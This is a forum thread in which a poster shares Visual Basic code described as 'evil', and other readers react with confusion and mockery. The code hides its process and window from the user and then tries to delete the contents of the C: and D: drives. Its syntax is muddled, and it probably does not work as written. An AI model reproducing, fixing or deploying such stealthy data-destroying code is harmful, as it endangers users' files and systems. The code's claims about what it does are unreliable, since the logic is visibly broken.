I was bored and feelin' evil
 

i love evil API...


Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0

Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub

put this in your modile...


Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function

Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function

WTF is this.... are you evil?

what is this?

When nerds go bad.

i haven't written code in years but has scripting really evolved to the point of 'kill' and a drive letter being valid syntax for deleting/formatting a drive?

sounds like it's a nice way to brick your phone.

I don't see any point to this.